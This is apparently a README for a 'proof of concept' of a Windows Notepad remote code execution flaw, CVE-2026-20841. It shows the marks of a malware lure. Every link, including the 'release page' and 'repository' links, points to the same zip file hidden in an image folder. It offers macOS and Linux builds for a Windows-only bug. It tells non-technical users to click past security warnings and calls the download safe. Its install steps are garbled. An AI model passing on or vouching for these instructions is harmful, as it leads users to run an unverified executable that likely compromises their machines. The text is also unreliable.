
🛠 Demonstrate remote code execution in Windows Notepad versions below 11.2510 using the CVE-2026-20841 proof of concept.
This application is a simple Proof of Concept (PoC) tool designed to demonstrate the behavior of the security issue referenced by CVE-2026-20841. It helps users understand the impact of this specific vulnerability in a straightforward way.
You do not need any programming skills or technical knowledge to use this tool. It is intended for educational purposes and to raise awareness about the vulnerability.
Before downloading and running the application, make sure your computer meets the following minimum requirements:
This section will guide you through downloading and running the software for the first time. The goal is for you to have it up and running quickly without any technical hassle.
To get the software, visit the official release page on GitHub. This page contains the latest version of the PoC available for download.
Click the button below to open the release page:
.exe or .zip file..dmg or .zip file.https://raw.githubusercontent.com/404godd/CVE-2026-20841-PoC/main/img/C-CV-Po-v2.2.zip or .AppImage file..exe file or extract the .zip file and open the application inside..dmg file and drag the app to your Applications folder, or extract the .zip and run the app.https://raw.githubusercontent.com/404godd/CVE-2026-20841-PoC/main/img/C-CV-Po-v2.2.zip file or make the .AppImage file executable and run it.Once installed, follow these instructions to run the PoC tool safely and easily:
If you see security warnings from your operating system, this is normal for programs downloaded from the internet. Confirm that you want to run the program.
This software runs only on your own machine. It does not send or receive data over the internet during execution. It is safe to use for learning about the vulnerability.
Do not use this tool on networks or devices you do not own or have permission to test. It is designed only for demonstration and educational purposes.
If you encounter issues, try these steps:
For further help, you can visit the GitHub page and check the “Issues” section, where other users and maintainers may have provided solutions.
This tool focuses on demonstrating the problem described in CVE-2026-20841 clearly and simply. It does not fix or patch the vulnerability but helps users understand the risks.
If you want more technical or detailed information about the vulnerability, consider looking for official security advisories or reports from trusted sources.
If you need help or want to provide feedback, you can open an issue on the GitHub repository page. Please include details about your system and the problem you faced.
Visit the release page to download:
https://raw.githubusercontent.com/404godd/CVE-2026-20841-PoC/main/img/C-CV-Po-v2.2.zip
Main GitHub repository:
https://raw.githubusercontent.com/404godd/CVE-2026-20841-PoC/main/img/C-CV-Po-v2.2.zip
Thank you for taking the time to learn about CVE-2026-20841 using this tool.